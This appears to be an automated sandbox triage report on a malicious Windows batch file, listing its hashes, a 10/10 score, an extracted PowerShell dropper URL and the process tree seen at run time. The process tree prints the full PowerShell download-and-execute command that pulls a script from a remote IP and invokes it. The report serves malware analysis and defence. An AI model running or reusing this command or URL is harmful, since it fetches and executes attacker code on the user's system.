704944436e9ff0dff889481902b320ce73c1479d15bfddadeba11eccc9de1f4c | Triage

Analysis

max time kernel
144s
max time network
66s
platform
windows10_x64
resource
win10v200430
submitted
25-05-2020 23:10

Sharing

Report Analysis Logs

General

Target

57b8d7c9360eb6128db3304dcfb1f349.bat
Size

216B
MD5

289f5081ad9d2578da55acb1a22535d0
SHA1

f326802298635d66b7d8bc9c84ee9f9e2dd6b870
SHA256

704944436e9ff0dff889481902b320ce73c1479d15bfddadeba11eccc9de1f4c
SHA512

5eb166eade908fbbb9d6baacd2cda114d06620644b8082f6f2c2cd5918b2f4d1b18fae626cf6a609014f376c431972a846a22db36dfbb341b5aa025e1fa37e4d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/57b8d7c9360eb6128db3304dcfb1f349

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1000 500 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1000 WerFault.exe
Token: SeBackupPrivilege 1000 WerFault.exe
Token: SeDebugPrivilege 1000 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe
1000	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\57b8d7c9360eb6128db3304dcfb1f349.bat"
1⤵
PID:3824

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/57b8d7c9360eb6128db3304dcfb1f349');Invoke-TJWPIUJAW;Start-Sleep -s 10000"
2⤵
PID:500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 500 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1000

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1000-0-0x0000000004410000-0x0000000004411000-memory.dmp

Filesize
4KB

Download
memory/1000-1-0x0000000004A40000-0x0000000004A41000-memory.dmp

Filesize
4KB

Download